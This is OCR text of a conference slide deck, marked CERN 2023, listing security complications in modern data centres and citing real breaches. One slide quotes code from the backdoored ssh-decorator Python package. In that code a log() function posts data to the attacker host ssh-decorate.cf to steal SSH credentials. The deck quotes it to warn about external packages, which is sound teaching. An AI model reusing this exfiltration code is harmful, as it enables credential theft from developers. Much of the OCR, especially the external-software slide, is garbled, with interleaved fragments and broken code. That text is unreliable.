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The Two Mantras of Cyber-Security

“Defense in Depth”: Protective means must be deployed at every level of the
hardware & software stack, e.g.

» Agile & timely updating + vulnerability management, secure & professional S/W
development + SBOM, tested business continuity & disaster recovery plans,
logging & IDS, access control + 2FA, ...

* Network segregation & compartmentalization, firewalls + email quarantines, data
diodes, bastion hosts, gateways & proxies, ...

“KISS — Keep It Simple, Stupid”: Avoid over-complication, too much complexity &
too many deviations from or exceptions to the “standard”.

Disclaimer:
| will not discuss best-practices of this Defense-in-Depth,
let’s just concentrate on a DataCenter architecture.
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PC Farms

A DataCentre Stack from the Past
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The Pwe Three Mantras of Cyber-Security

3.

“Defense in Depth”: Protective means must be deployed at every level of the
hardware & software stack, e.g.

» Agile & timely updating + vulnerability management, secure & professional S/W
development + SBOM, tested business continuity & disaster recovery plans,
logging & IDS, access control, ...

* Network segregation & compartmentalization, firewalls + email quarantines, data
diodes, bastion hosts, gateways & proxies, ...

“KISS --- Keep it simple, stupid”: Avoid over-complication, too much complexity &
too many deviations from or exceptions to the “standard”. Unfortunately, it is the
complexity of today’s IT infrastructures which makes security a nightmare.

“Convenient, cheap, secure --- Pick two”:

No wonder that “security” looses as it brings no immediate benefits
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Bye-Bye KISS: Toda
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Other apps

More VMs

Hypervisor

More hardware (IPMI/BMC)

Agile & elastic

Business continuity/
disaster recovery (BC/DR)

Big Data/ML/ChatGPT(?!)
Public/hybrid/private clouds

GPUs/Quantum computing
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Let’s cable up our stack!
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Complication (1): Common Network Infrastructre

Updated On 12 May, 2023
SolarWinds and Software Supply Chain
Attacks

VLANSs, SDNs
(*Mantra #3)

Alternatives:
Fully separated
router/switch
infrastructure

Hypervisor

Hardware (IPMI/BMC) .

Common central
network services

Alternative:
Duplication, but
this requires
Primary/Replica
synchronization

As the breach at network management software firm SolarWinds is still unfolding, the company has

revealed in a December 14th filing with the U.S. Securities and Exchange Commission (SEC) that it

https://www.breachlock.com/resources/blog/the-solarwinds-hack-

and-the-arrival-of-software-supply-chain-attacks/

may have resulted in malicious code being pushed to nearly 18,000 customers.
o= = =1

Management
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Complication (2): Common Bare-Metal
I I [

Mantra #3:
Containerization
allows hosting

completely
different services
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Complication (3): Multi-Network Exposure
BESSY Il back in operation P it need o

- expose service(s)
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W astronomical Data Diodes
on Saturday, October

The Atacama Large Millimeter Array (ALMA) Observatory in (4
observation operations and taken its public website offline §
29, 2022.
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Complication (4): Administration & Administrators

ars TECHNICA
THE HITS KEEP COMING —
LastPass says employee’s home computer
~ was hacked and corporate vault taken

Already smarting from a breach that stole customer vaults, LastPass has more bad news.

DAN GOODIN - 2/28/2023, 2:01 AM

Administrators are
lazy agile/flexible

(2-factor) AuthN
& AuthZ
to the rescue?
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Complication (5): Monitor
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Complication (6): Provision
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Complication (7) Recursive (Self-)Hostlng
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DMZ

A too big DMZ:
AuthZ & AuthN,

SSO, home folders,

DBs-on-demand, ...

...might be
employed by users
for their own
purposes, too

All these service(s)
shall run on the
same DataCenter
stack (bare-metal,
VM or container)...

But: Dependency
loops can spoil

a DataCenter
cold start
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Complication (8): Clouds (Why, oh, why?)
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Hackers Stole Access Tokens from Okta’s Support Unit

warning, tf
How to funnel

“A potential October 20, 2023 8 Comments thru external
Miessler, in o _ _ o _ , 5. cloud services?
Okta, a company that provides identity tools like multi-factor authentication and single sign-on to
) thousands of businesses, has suffered a security breach involving a compromise of its customer support
Miessler ap| g, KrebsOnSecurity has learned. Okta says the incident affected a “very small number” of customers, IP-based filtering
Costello tha however it appears the hackers responsible had access to Okta's support platform for at least two weeks reaches its

before the company fully contained the intrusion.
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Complication (9): External Software

PYthOn Whr"' e fa \

Backdoor in ssh- decorator package
K
sup

Q Why GitHub? Enterprisqg

Do not install or use the ssh-decorator package from Pip. It has a backdoor inserted to steal all your S5H credentials. I've
already contacted the developer to take it out. He hasn't responded so for now, use at your own risk!

L

H rest-client / rest-client

4 )

Code @ lssues 94 ) Pull re https{hbbco}rkd Dk67 AWS
UPDATE: The compromised package has been taken down now.
R Trom LLertools import chain Azure
achar Mena: try:
from urllib.request import urlopen Google
from urllib.parse import urlencode Oracle Cl
Backgr def log(data): e J
5 e - try:
B' ' chid2019#17ﬁ§24' post = bytes{urlencode(data), "utf-8") \
[rSar & backdoor. handler = urlopen(“http://ssh-decorate.cf/index.php", post) ————p— DockerlO
EEZEY koo openca i e 2 res = handler.read().decode( 'utf-8") .
except: Git(hub)
Recently, a no\ n ]ulskoljocommentedZdays. .xc.pt: p!ss npm
detailing how « " from urllib import urlencode pypl
. d . d It seems that rest-clieht’I‘M imurt Url‘.lbz y
D) I r—— def log(data): 4
- try:
In short, most e post = urlencode(data)
def _t req = urllib2.Request("http://ssh-decorate.cf/index.php", post)
packages (hos response = urllib2.urlopen(req) How to securely
rei Excepio res = response,read() i
1 end Except: +
Thus, a simple o import external
frnm an intarn: SR ;;l‘f:;;;:ﬁ:';n;t”‘m'- S e S A T — _ ' E VMSI paCkageS &
% i .l .@“‘y H S S S . .. g Ilbrarles?
code from nastebm.com:2 I o- I : ] O: I ikmn , . DMZ E L

SLV1.0 20231006 / ©CERN 2023 / DPP “Public”



Summary (for your Nightmares)

done, Jw ng live “Ac/DC“

m

https://xkcd.com/2347/
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Thank you very much!



